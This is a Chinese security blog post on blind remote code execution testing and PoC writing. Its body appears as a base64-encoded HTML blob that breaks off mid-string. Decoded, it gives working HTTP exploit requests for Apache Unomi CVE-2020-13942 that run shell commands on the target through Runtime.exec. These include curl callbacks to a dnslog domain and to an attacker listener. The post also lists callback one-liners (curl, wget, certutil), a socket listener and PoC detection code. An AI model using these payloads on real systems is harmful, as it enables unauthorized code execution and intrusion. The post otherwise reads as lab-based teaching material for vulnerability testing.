远程代码执行无回显测试方法以及POC编写

l836918621   ·   发表于 2021-01-29 14:28:19   ·   技术文章
PGgyIGlkPSJoMi0weDAxLXJjZS0iPjxhIG5hbWU9IjB4MDEg6YCJ5LiA5LiqUkNF5ryP5rSe5L2c5Li65L6L5a2QIiBjbGFzcz0icmVmZXJlbmNlLWxpbmsiPjwvYT48c3BhbiBjbGFzcz0iaGVhZGVyLWxpbmsgb2N0aWNvbiBvY3RpY29uLWxpbmsiPjwvc3Bhbj4weDAxIOmAieS4gOS4qlJDRea8j+a0nuS9nOS4uuS+i+WtkDwvaDI+PGgzIGlkPSJoMy1hcGFjaGUtdW5vbWktY3ZlLTIwMjAtMTM5NDItIj48YSBuYW1lPSJBcGFjaGUgVW5vbWnov5znqIvku6PnoIHmiafooYzmvI/mtJ4oQ1ZFIC0yMDIwLTEzOTQyKeeugOWNleWkjeeOsCIgY2xhc3M9InJlZmVyZW5jZS1saW5rIj48L2E+PHNwYW4gY2xhc3M9ImhlYWRlci1saW5rIG9jdGljb24gb2N0aWNvbi1saW5rIj48L3NwYW4+QXBhY2hlIFVub21p6L+c56iL5Luj56CB5omn6KGM5ryP5rSeKENWRSAtMjAyMC0xMzk0MinnroDljZXlpI3njrA8L2gzPjxwPui/memHjOWwseS4jeWIhuaekOWVpu+8jOi/meS4qumhueebruWcqOe6v+eahOW5tuS4jeWkmu+8jOWNlee6r+aLv+adpeS4vuS4quS+i+WtkDwvcD4KPHA+5oOz55yL5YiG5p6Q5Y+v5Lul5oiz6L+Z6YeMOjxhIGhyZWY9Imh0dHBzOi8veHouYWxpeXVuLmNvbS90Lzg1NjUiPmh0dHBzOi8veHouYWxpeXVuLmNvbS90Lzg1NjU8L2E+PC9wPgo8cD48c3Ryb25nPueOr+Wig+aQreW7ujwvc3Ryb25nPjwvcD4KPHA+dnVsaHVi55u05o6lZG9ja2VyLWNvbXBvc2XlkK/liqjlsLHlpb3kuoY8L3A+CjxwcmU+PGNvZGUgY2xhc3M9Imxhbmctc2hlbGwiPmNkIOWIsOWvueW6lOeahHVub21p55uu5b2V5LiLCmRvY2tlci1jb21wb3NlIHVwIC1kCjwvY29kZT48L3ByZT4KPHA+PGltZyBzcmM9Imh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxNTkvNGU5NmNiYjBmMDAyMjViMGQxOGRiZjBkOGY0NjU0OTNfODg3MzcucG5nIiBhbHQ9IiI+PC9wPgo8cD7mn6XnnIvkuIDkuItkb2NrZXItY29tcG9zZS55bWzmn6XnnIvkuIDkuIvnq6/lj6M8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5LzgyYjZmN2YxZTBhZDgzZWMyMjkxYjkwMjkwNzVmNzliXzkzMDE0LnBuZyIgYWx0PSIiPjwvcD4KPHA+6K6/6ZeuPGEgaHJlZj0iaHR0cDovL3h4Lnh4Lnh4Lnh4OjgxODEiPmh0dHA6Ly94eC54eC54eC54eDo4MTgxPC9hPjwvcD4KPHA+5oiW6ICFPGEgaHJlZj0iaHR0cHM6Ly94eC54eC54eC54eDo5NDQzIj5odHRwczovL3h4Lnh4Lnh4Lnh4Ojk0NDM8L2E+PC9wPgo8cD7mvI/mtJ7lvojlpb3lpI3njrDvvIjov5nph4xPR05M5oiW6ICFTVZFTOihqOi+vuW8j+mDveWPr+S7peazqOWFpe+8iTwvcD4KPHA+UE9D5aaC5LiL77yaPC9wPgo8cHJlPjxjb2RlIGNsYXNzPSJsYW5nLWh0dHAiPlBPU1QgL2NvbnRleHQuanNvbiBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3Q6ODE4MQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUKQWNjZXB0OiAqLyoKQWNjZXB0LUxhbmd1YWdlOiBlbgpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODAuMC4zOTg3LjEzMiBTYWZhcmkvNTM3LjM2CkNvbm5lY3Rpb246IGNsb3NlCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbgpDb250ZW50LUxlbmd0aDogNDgzCgp7CiAgICAmcXVvdDtmaWx0ZXJzJnF1b3Q7OiBbCiAgICAgICAgewogICAgICAgICAgICAmcXVvdDtpZCZxdW90OzogJnF1b3Q7c2FtcGxlJnF1b3Q7LAogICAgICAgICAgICAmcXVvdDtmaWx0ZXJzJnF1b3Q7OiBbCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJnF1b3Q7Y29uZGl0aW9uJnF1b3Q7OiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAmcXVvdDtwYXJhbWV0ZXJWYWx1ZXMmcXVvdDs6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICZxdW90OyZxdW90OzogJnF1b3Q7c2NyaXB0OjpSdW50aW1lIHIgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsgci5leGVjKFwmcXVvdDt0b3VjaCAvdG1wL3N1Y2Nlc3NoaGhcJnF1b3Q7KTsmcXVvdDsKICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgJnF1b3Q7dHlwZSZxdW90OzogJnF1b3Q7cHJvZmlsZVByb3BlcnR5Q29uZGl0aW9uJnF1b3Q7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBdCiAgICAgICAgfQogICAgXSwKICAgICZxdW90O3Nlc3Npb25JZCZxdW90OzogJnF1b3Q7c2FtcGxlJnF1b3Q7Cn0KPC9jb2RlPjwvcHJlPgo8cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjE1OS9hMmU3NzZjZDk1YWUxMTBjNjA3YWFhMTBhMTU3ZTAyOV81NjA0Mi5wbmciIGFsdD0iIj48L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5LzlmMWQ1NDYxZDYyZjAyNTYxMjM2NjBlYzE0ZWVmMDE1XzE2MTAyLnBuZyIgYWx0PSIiPjwvcD4KPHA+55yL5Yiw5paH5Lu25Yib5bu65oiQ5Yqf5LqG77yM5ryP5rSe5aSN546w5oiQ5Yqf77yMcmVzcG9uc2XmmL7npLpodHRwIDIwMCBPSy7kvYbmmK/lubbmsqHmnInlrp7pmYXnmoTlm57mmL7jgILmiJHku6zlj6/ku6XmjaLlhbbku5blkb3ku6TnnIvnnIs8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5LzllNWI3MjhmYWJhZjk4NWQ4NjM3MThhNjkzNDBmYjQ1XzE3NDAxLnBuZyIgYWx0PSIiPjwvcD4KPHA+5Y+v5Lul55yL5Yiw56Gu5a6e5rKh5pyJ5Zue5pi+44CCPC9wPgo8aDIgaWQ9ImgyLTB4MDItcmNlLSI+PGEgbmFtZT0iMHgwMiDml6Dlm57mmL5SQ0Xmo4DmtYvmlrnms5UiIGNsYXNzPSJyZWZlcmVuY2UtbGluayI+PC9hPjxzcGFuIGNsYXNzPSJoZWFkZXItbGluayBvY3RpY29uIG9jdGljb24tbGluayI+PC9zcGFuPjB4MDIg5peg5Zue5pi+UkNF5qOA5rWL5pa55rOVPC9oMj48cD7mlrnms5Xlhbblrp7lpKflrrblupTor6XkuZ/pg73muIXmpZrvvIzml6DpnZ7mmK/kuKTnp43mlrnms5XvvIxkbnNsb2flkozotbfnq6/lj6Plm57ov57jgII8L3A+CjxoMyBpZD0iaDMtZG5zbG9nIj48YSBuYW1lPSJETlNsb2ciIGNsYXNzPSJyZWZlcmVuY2UtbGluayI+PC9hPjxzcGFuIGNsYXNzPSJoZWFkZXItbGluayBvY3RpY29uIG9jdGljb24tbGluayI+PC9zcGFuPkROU2xvZzwvaDM+PHA+5YWs572R5LiK5Y+v5Lul55So55qERE5TbG9n5pyJ5b6I5aSa77yM6L+Z6YeM5oiR5Lus5L2/55SoPGEgaHJlZj0iaHR0cDovL3d3dy5kbnNsb2cuY24vIj5odHRwOi8vd3d3LmRuc2xvZy5jbi88L2E+PC9wPgo8cD7lvZPnhLbmnIlWUFPoh6rlt7HmkK3lvZPnhLbkuZ/mmK/lj6/ku6XnmoQ8L3A+CjxwPuaIkeS7rOaehOmAoOS4gOS4quWRveS7pOiuv+mXrueahOaXtuWAmeW4puedgOW+l+WIsOeahGRuc2xvZ+WtkOWfn+WQjeWwseihjOS6hjwvcD4KPHA+PHN0cm9uZz7nvLrngrk6PC9zdHJvbmc+5aaC5p6c5oiR5Lus5piv5Zyo5YaF572R5YGa5rWL6K+V77yM55uu5qCH5py65Zmo5peg5rOV6K6/6ZeuZG5zbG9n5bCx5peg5rOV6YCa6L+H6L+Z56eN5pa55rOV5rWL6K+V5LqG77yI5b2T54S25L2g5Y+v5Lul5pys5Zyw5pCt5bu6ZG5zbG9n77yI54uX5aS077yJ77yJPC9wPgo8cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjE1OS8wYjJiYzFiMmI3MjUxMmZiOWFlYzE1NGE5MDhkMTQzNF8yODMyMC5wbmciIGFsdD0iIj48L3A+CjxwPuaLv+WIsOiOt+WPluS5i+WQjuWfn+WQjTwvcD4KPHA+PGNvZGU+eGs0Zm03LmRuc2xvZy5jbjwvY29kZT48L3A+CjxwPumHjeaWsOS/ruaUuXBvY++8jOaIkeS7rOWPr+S7peS9v+eUqDxjb2RlPmN1cmwgaGhoaC54azRmbTcuZG5zbG9nLmNuPC9jb2RlPjwvcD4KPHByZT48Y29kZSBjbGFzcz0ibGFuZy1odHRwIj5QT1NUIC9jb250ZXh0Lmpzb24gSFRUUC8xLjEKSG9zdDogMTAuMC4xMy4xMjU6ODE4MQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUKQWNjZXB0OiAqLyoKQWNjZXB0LUxhbmd1YWdlOiBlbgpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODAuMC4zOTg3LjEzMiBTYWZhcmkvNTM3LjM2CkNvbm5lY3Rpb246IGNsb3NlCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbgpDb250ZW50LUxlbmd0aDogNDk1Cgp7CiAgICAmcXVvdDtmaWx0ZXJzJnF1b3Q7OiBbCiAgICAgICAgewogICAgICAgICAgICAmcXVvdDtpZCZxdW90OzogJnF1b3Q7c2FtcGxlJnF1b3Q7LAogICAgICAgICAgICAmcXVvdDtmaWx0ZXJzJnF1b3Q7OiBbCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJnF1b3Q7Y29uZGl0aW9uJnF1b3Q7OiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAmcXVvdDtwYXJhbWV0ZXJWYWx1ZXMmcXVvdDs6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICZxdW90OyZxdW90OzogJnF1b3Q7c2NyaXB0OjpSdW50aW1lIHIgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsgci5leGVjKFwmcXVvdDtjdXJsIGhoaGgueGs0Zm03LmRuc2xvZy5jblwmcXVvdDspOyZxdW90OwogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICAmcXVvdDt0eXBlJnF1b3Q7OiAmcXVvdDtwcm9maWxlUHJvcGVydHlDb25kaXRpb24mcXVvdDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIF0KICAgICAgICB9CiAgICBdLAogICAgJnF1b3Q7c2Vzc2lvbklkJnF1b3Q7OiAmcXVvdDtzYW1wbGUmcXVvdDsKfQo8L2NvZGU+PC9wcmU+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5LzU5MmU1MzYwZjNhNDE4YmQwYjY0NmU1YmQ3MzhjNmIwXzU1MzU1LnBuZyIgYWx0PSIiPjwvcD4KPHA+6L+Z6YeM5bCx6K+B5piO5ZG95Luk5omn6KGM5oiQ5Yqf5LqG44CC5L2g6K+0cGluZ+WSjG5zbG9va3Vw5LiN5Y+v5Lul5ZCX77yf5b2T54S25Y+v5Lul5ZWm44CCPC9wPgo8cD7kvYbmmK/lm6DkuLrlnKjlhplwb2PnmoTml7blgJnmiJHku6zpgYfliLDnmoTlj6/og73mmK9saW51eOS5n+WPr+iDveaYr3dpbmRvd3PjgIJwaW5n5ZG95Luk5Zyo5Lik5Liq57O757uf55So5rOV5LiN5aSq5LiA5qC377yM5LiN54S25bCx55yB5LqL5aSa5LqGMjMzMzPjgIJsaW51eCBwaW5n5LiN5Lya5YGc77yM5Y+v5Lul5YqgLWPmnaXot5/mlbDmja7ljIXmlbDph4/vvIx3aW5kb3dz5pivLW7jgILnhLbogIwtbuWcqGxpbnV45piv5LiN5bCd6K+V5YGa5Li75py65ZCN5qOA5rWL77yM5bCx5Lya5a+86Ie05ZG95Luk5omn6KGM5Lmf5peg5rOV5YGc5q2i5LiL5p2l44CC6YKj5LmI5LiN5aaC6L+Y5piv6ICB6ICB5a6e5a6e55SoY3VybOWSjHdnZXQ8L3A+CjxwPui/memHjOaIkeS7rOWIl+S4gOS4i+ajgOa1i+WRveS7pDwvcD4KPHByZT48Y29kZSBjbGFzcz0ibGFuZy1zaGVsbCI+bGludXg6CmN1cmwg6ZqP5py65pWwLmRuc2xvZ+Wfn+WQjQp3Z2V0IOmaj+acuuaVsC5kbnNsb2fln5/lkI0Kd2luZG93czoKY2VydHV0aWwgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8v6ZqP5py65pWwLmRuc2xvZ+Wfn+WQje+8iOi/memHjOayoeacieWHhuWkh3dpbmRvd3Pnjq/looPvvIzlpKflrrblj6/ku6Xoh6rlt7HmkK3lu7rnsbvkvLznmoRSQ0Ugd2luZG93c+eOr+Wig+ivleivlei/meS4quWRveS7pO+8jOW+iOWlveeUqOeahOS4gOS4quS4i+i9veWQjumXqOeahOWRveS7pCjor68p77yJCjwvY29kZT48L3ByZT4KPGgzIGlkPSJoMy1zb2NrZXQtIj48YSBuYW1lPSJzb2NrZXTmnI3liqHlmajml6Xlv5fmlrnms5UiIGNsYXNzPSJyZWZlcmVuY2UtbGluayI+PC9hPjxzcGFuIGNsYXNzPSJoZWFkZXItbGluayBvY3RpY29uIG9jdGljb24tbGluayI+PC9zcGFuPnNvY2tldOacjeWKoeWZqOaXpeW/l+aWueazlTwvaDM+PHA+6L+Z5Liq5pa55rOV6YCC55So5LqO5ZCE56eN5Zy65pmv77yM5Y+q6KaB5L2g5pyJVlBT6YKj6YeM6YO95Y+v55SoPC9wPgo8aDQgaWQ9Img0LS1odHRwLSI+PGEgbmFtZT0i6Ieq5bimaHR0cOacjeWKoeWZqCIgY2xhc3M9InJlZmVyZW5jZS1saW5rIj48L2E+PHNwYW4gY2xhc3M9ImhlYWRlci1saW5rIG9jdGljb24gb2N0aWNvbi1saW5rIj48L3NwYW4+6Ieq5bimaHR0cOacjeWKoeWZqDwvaDQ+PHA+5L2/55SocHl0aG9uM+iHquW4pueahGh0dHAuc2VydmVy5pyN5YqhKHB5dGhvbjLkuLpTaW1wbGVIVFRQU2VydmVyKTwvcD4KPHA+55u05o6lY21k5ZCv5YqoPC9wPgo8cHJlPjxjb2RlIGNsYXNzPSJsYW5nLXNoZWxsIj5weXRob24gLW0gaHR0cC5zZXJ2ZXIgODAwMSAj6L+Z6YeM55qE56uv5Y+j6ZqP5L6/5a6a5LmJCjwvY29kZT48L3ByZT4KPHA+5L+u5pS55LiA5LiL5omn6KGM55qE5ZG95LukPGNvZGU+Y3VybCBodHRwOi8vMTAuMC4xMy4xNzQ6ODAwMS9hd2RhPC9jb2RlPiAg6L+Z6YeM55qESVDlsLHmmK/kvaDlkK/liqjmnI3liqHnmoTkuLvmnLpJUOOAgjwvcD4KPHA+PGltZyBzcmM9Imh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxNTkvNDYwZTIwNjc1NTI0YzlkMDA1MThjOWQzYzNjY2MyOWNfMjI1NDEucG5nIiBhbHQ9IiI+PC9wPgo8cD7nhLblkI7miJHku6zlj5HpgIHph43mlrDmnoTpgKDnmoRQT0M8L3A+CjxwcmU+PGNvZGUgY2xhc3M9ImxhbmctaHR0cCI+UE9TVCAvY29udGV4dC5qc29uIEhUVFAvMS4xCkhvc3Q6IDEwLjAuMTMuMTI1OjgxODEKQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlCkFjY2VwdDogKi8qCkFjY2VwdC1MYW5ndWFnZTogZW4KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzgwLjAuMzk4Ny4xMzIgU2FmYXJpLzUzNy4zNgpDb25uZWN0aW9uOiBjbG9zZQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24KQ29udGVudC1MZW5ndGg6IDUwMAoKewogICAgJnF1b3Q7ZmlsdGVycyZxdW90OzogWwogICAgICAgIHsKICAgICAgICAgICAgJnF1b3Q7aWQmcXVvdDs6ICZxdW90O3NhbXBsZSZxdW90OywKICAgICAgICAgICAgJnF1b3Q7ZmlsdGVycyZxdW90OzogWwogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICZxdW90O2NvbmRpdGlvbiZxdW90OzogewogICAgICAgICAgICAgICAgICAgICAgICAgJnF1b3Q7cGFyYW1ldGVyVmFsdWVzJnF1b3Q7OiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAmcXVvdDsmcXVvdDs6ICZxdW90O3NjcmlwdDo6UnVudGltZSByID0gUnVudGltZS5nZXRSdW50aW1lKCk7IHIuZXhlYyhcJnF1b3Q7Y3VybCBodHRwOi8vMTAuMC4xMy4xNzQ6ODAwMS9hd2RhXCZxdW90Oyk7JnF1b3Q7CiAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICZxdW90O3R5cGUmcXVvdDs6ICZxdW90O3Byb2ZpbGVQcm9wZXJ0eUNvbmRpdGlvbiZxdW90OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgXQogICAgICAgIH0KICAgIF0sCiAgICAmcXVvdDtzZXNzaW9uSWQmcXVvdDs6ICZxdW90O3NhbXBsZSZxdW90Owp9CjwvY29kZT48L3ByZT4KPHA+PGltZyBzcmM9Imh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxNTkvNTY0NDcyZWUwNzQ5MWU0MjFkODA1ODY3ZTc4ZTg1YWJfODk0NTEucG5nIiBhbHQ9IiI+PC9wPgo8cD7lj6/ku6XnnIvliLDmiJHku6zmlLbliLDkuoZVbm9taeacjeWKoeWZqOWPkeadpeeahGh0dHDor7fmsYIs6K+05piOUkNF5omn6KGM5oiQ5Yqf5LqGPC9wPgo8cD7kuIvpnaLlho3mvJTnpLrkuIDkuItzb2NrZXTmnI3liqHlmajnmoTmlrnms5U8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5L2Q1NTUwMmMzMzA3YWU5NGRkYmEzNWNhNjBjZWQyNjlhXzI1ODk0LnBuZyIgYWx0PSIiPjwvcD4KPHA+PHN0cm9uZz7ms6jmhI/vvIHvvIHvvIE8L3N0cm9uZz7kuIDlrpropoHlhbPpl63pmLLngavlopk8L3A+CjxwPui/memHjOi0tOS4gOS4i3B5dGhvbiBzb2NrZXTmnI3liqHlmajnmoTku6PnoIE8L3A+CjxwPjxzdHJvbmc+KOi/memHjOWFtuWunuacieS4quWbsOaJsOaIkeW+iOS5heeahOmXrumimO+8jOi/meauteS7o+eggXdpbmRvd3PkuIrmjInkuoZjdHJsK2PkuYvlkI7kuIDlrpropoHnrYnkuIvkuIDkuKrmlbDmja7ljIXlj5HmnaXmiY3og73pgIDlh7rvvIzkvYbmmK9saW51eOS4iuaYr+WPr+S7peebtOaOpWN0cmwrY+mAgOWHuueahO+8jOaJgOS7peaIkeW7uuiuruWwvemHj+i/mOaYr+eUqGxpbnV46L+Q6KGMKTwvc3Ryb25nPjwvcD4KPHByZT48Y29kZSBjbGFzcz0ibGFuZy1weXRob24iPiMgLSotIGNvZGluZzogdXRmLTggLSotCmltcG9ydCBzb2NrZXQsc3lzLHRpbWUKCnNlbmRfdGV4dCA9IGImIzM5O29rISEhJiMzOTsKCmRlZiBzb2NrZXRfYmluZChwb3J0KToKICAgICAgICBob3N0ID0gJiMzOTswLjAuMC4wJiMzOTsgI+WumuS5ieebkeWQrElQ77yM6L+Z6YeM5Lmf5Y+v5Lul5Li656m677yM56m65bCx5Luj6KGo5omA5pyJSVAKICAgICAgICBwb3J0ID0gaW50KHBvcnQpICPlrprkuYnnq6/lj6MKICAgICAgICBzayA9IHNvY2tldC5zb2NrZXQoKSAj5Yib5bu6c29ja2V05a+56LGhCiAgICAgICAgc2suc2V0c29ja29wdChzb2NrZXQuU09MX1NPQ0tFVCwgc29ja2V0LlNPX1JFVVNFQUREUiwgMSkgICPov5nph4zorr7nva7nmoRzb2NrZXTpgInpobnlj6/ku6XlvIDlkK/lnLDlnYDlpI3nlKjvvIzpmLLmraLlkK/liqjov4fnqIvkuK3nq6/lj6PlhrLnqoHpl67popgKICAgICAgICBzay5iaW5kKChob3N0LCBwb3J0KSkgI+W8gOWQr+ebkeWQrOerr+WPowogICAgICAgIHByaW50KCYjMzk7V2FpdCBmb3IgdGhlIGNsaWVudCB0byAlZC4mIzM5OyAlIHBvcnQpCiAgICAgICAgc2subGlzdGVuKDUpICPov5nph4zmmK/lj6pzb2NrZXTov57mjqXmjpLpmJ/nrYnlvoXmlbDph4/vvIznlLHkuo7miJHku6zmmK/ljZXnur/nqIvvvIzlhbblrp7kuI3lv4XlpKrlnKjmhI/ov5nkuKoKICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICB0aW1lLnNsZWVwKDAuNSkgICPov5nph4znrYnlvoXkuIDkvJrlhL/ml7bpl7TnrYnlvoVzb2NrZXTmjqXmlLbliLDkuIvpnaJwYXlsb2Fk55qE5Y+R6YCB5ZCO55qE57uT5p6cCiAgICAgICAgICAgIGNvbm4sIGFkZHJlc3MgPSBzay5hY2NlcHQoKQogICAgICAgICAgICBjX2luZm8gPSBjb25uLnJlY3YoMjA0ODApCiAgICAgICAgICAgIHByaW50KCZxdW90O0Zyb206JnF1b3Q7KQogICAgICAgICAgICBwcmludChhZGRyZXNzKQogICAgICAgICAgICBwcmludCgmcXVvdDstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0mcXVvdDspCiAgICAgICAgICAgIHByaW50KCZxdW90O1JlY3YgRGF0YTomcXVvdDspCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHByaW50KGNfaW5mby5kZWNvZGUoJiMzOTt1dGY4JiMzOTspKQogICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICBwcmludCgmcXVvdDs9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0mcXVvdDspCiAgICAgICAgICAgIGlmIGNfaW5mbzoKICAgICAgICAgICAgICAgIGNvbm4uc2VuZGFsbChzZW5kX3RleHQpCiAgICAgICAgICAgICAgICBjb25uLmNsb3NlKCkKCmlmIF9fbmFtZV9fID09ICYjMzk7X19tYWluX18mIzM5OzoKICAgIHRyeToKICAgICAgICBpZiBzeXMuYXJndlsxXSA9PSAmIzM5Oy1oJiMzOTs6CiAgICAgICAgICAgIHByaW50KCYjMzk7JiMzOTsmIzM5OwpJUFNfdGNwX3NlcnZlci5leGUgW3BvcnRdCmV4YW1wbGUgSVBTX3RjcF9zZXJ2ZXIuZXhlIDgwODAKICAgICAgICAgICAgJiMzOTsmIzM5OyYjMzk7KQogICAgICAgICAgICBzeXMuZXhpdCgpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcGFzcwogICAgICAgIHNvY2tldF9iaW5kKHN5cy5hcmd2WzFdKQogICAgZXhjZXB0IEtleWJvYXJkSW50ZXJydXB0OgogICAgICAgIHN5cy5leGl0KCkKPC9jb2RlPjwvcHJlPgo8aDIgaWQ9ImgyLTB4MDMtcG9jLSI+PGEgbmFtZT0iMHgwMyBQT0PnvJblhpkiIGNsYXNzPSJyZWZlcmVuY2UtbGluayI+PC9hPjxzcGFuIGNsYXNzPSJoZWFkZXItbGluayBvY3RpY29uIG9jdGljb24tbGluayI+PC9zcGFuPjB4MDMgUE9D57yW5YaZPC9oMj48cD4xLue8luWGmeS4gOS4queugOWNleeahGRuc2xvZ+exu++8jOaWueS+v+aIkeS7rOiwg+eUqDwvcD4KPHByZT48Y29kZSBjbGFzcz0ibGFuZy1weXRob24iPmNsYXNzIERuc2xvZygpOgogICAgZGVmIF9faW5pdF9fKHNlbGYpOgogICAgICAgIHNlbGYuZ2V0ZG5zc3ViX3VybCA9ICYjMzk7aHR0cDovL3d3dy5kbnNsb2cuY24vZ2V0ZG9tYWluLnBocCYjMzk7CiAgICAgICAgc2VsZi5nZXRyZXNfdXJsID0gJiMzOTtodHRwOi8vd3d3LmRuc2xvZy5jbi9nZXRyZWNvcmRzLnBocCYjMzk7CiAgICAgICAgc2VsZi5oZWFkZXJzID0gewogICAgICAgICAgICAmIzM5O1VzZXItQWdlbnQmIzM5OzogJiMzOTtNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXT1c2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzcyLjAuMzYyNi44MSBTYWZhcmkvNTM3LjM2IFNFIDIuWCAmIzM5OwogICAgICAgIH0KICAgICAgICBzZWxmLnMgPSByZXF1ZXN0cy5zZXNzaW9uKCkgI+i/memHjOmhtuS4gOS4qnNlc3Npb27vvIzlkIzkuIDkuKpzZXNzaW9u5Y+v5Lul5ou/5Yiw5LmL5YmN6I635Y+W5Yiw55qE5a2Q5Z+f5ZCN55qE5pel5b+X5ZWmCgogICAgZGVmIHJlcShzZWxmKToj6I635Y+W6K+35rGC5Yiw55qEZG5zbG9n6ZqP5py65a2Q5Z+f5ZCNCiAgICAgICAgdHJ5OgogICAgICAgICAgICByZXEgPSBzZWxmLnMuZ2V0KHVybD1zZWxmLmdldGRuc3N1Yl91cmwsaGVhZGVycz1zZWxmLmhlYWRlcnMsYWxsb3dfcmVkaXJlY3RzPUZhbHNlLHZlcmlmeT1GYWxzZSx0aW1lb3V0PTMwKQogICAgICAgICAgICByZXR1cm4gcmVxLnRleHQKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHJldHVybiBOb25lCiAgICBkZWYgcmVzKHNlbGYpOiPojrflj5ZkbnNsb2fpmo/mnLrlrZDln5/lkI3nmoRkbnPmn6Xor6Lml6Xlv5cKICAgICAgICB0cnk6CiAgICAgICAgICAgIHJlcyA9IHNlbGYucy5nZXQodXJsPXNlbGYuZ2V0cmVzX3VybCxoZWFkZXJzPXNlbGYuaGVhZGVycyxhbGxvd19yZWRpcmVjdHM9RmFsc2UsdmVyaWZ5PUZhbHNlLHRpbWVvdXQ9MzApCiAgICAgICAgICAgIHJldHVybiByZXMudGV4dAogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcmV0dXJuIE5vbmUKPC9jb2RlPjwvcHJlPgo8cD7ov5nkuKrnsbvlhoXlrrnlvojnroDljZXvvIzlsLHmmK/ojrflj5Z3d3cuZG5nbG9nLmNu55qE5a2Q5Z+f5ZCN6aG16Z2i77yM5ou/5Yiw5LmL5ZCO5L2/55So5ZCM5LiA5Liqc2Vzc2lvbuWOu+iuv+mXrmRuc2xvZ+aXpeW/l+WNs+WPrzwvcD4KPHA+5o6l5LiL5p2l5oiR5Lus5YaZ5LiA5LiLUE9D5qOA5rWL5Li756iL5bqP77yM6K6w5b6X5a+85YWl5LiK6Z2i5YaZ55qE57G777yM5Y+v5Lul55u05o6l5aSN5Yi26L+b5Y6777yM5Lmf5Y+v5LulaW1wb3J05pa55byP5a+85YWlLOaOqOiNkGltcG9ydOaWueW8j+WQp+OAguaWueS+v+S7peWQjuaJqeWxlTwvcD4KPHByZT48Y29kZSBjbGFzcz0ibGFuZy1weXRob24iPiPov5nph4zmiJHku6zpppblhYjlhpnkuIDkuKrnlKjkuo7nm5HlkKznq6/lj6PnmoTlh73mlbAKZGVmIGNoZWNrX3Z1bChyYW5fc3RyLHEscCk6ICPlkK/liqhzb2NrZXQgVENQ5pyN5Yqh5ZmoCiAgICBpID0gMAogICAgd2hpbGUgaSAmbHQ7IDEwOiAgI+mYsuatouerr+WPo+WGsueqge+8jOWKoOS4iuS4gOS4quW+queOr++8jOeUqOS6juaKpemUmeS5i+WQjuWPr+S7peaNouaWsOeahOerr+WPowogICAgICAgIHRyeToKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGhvc3QgPSAmIzM5OzAuM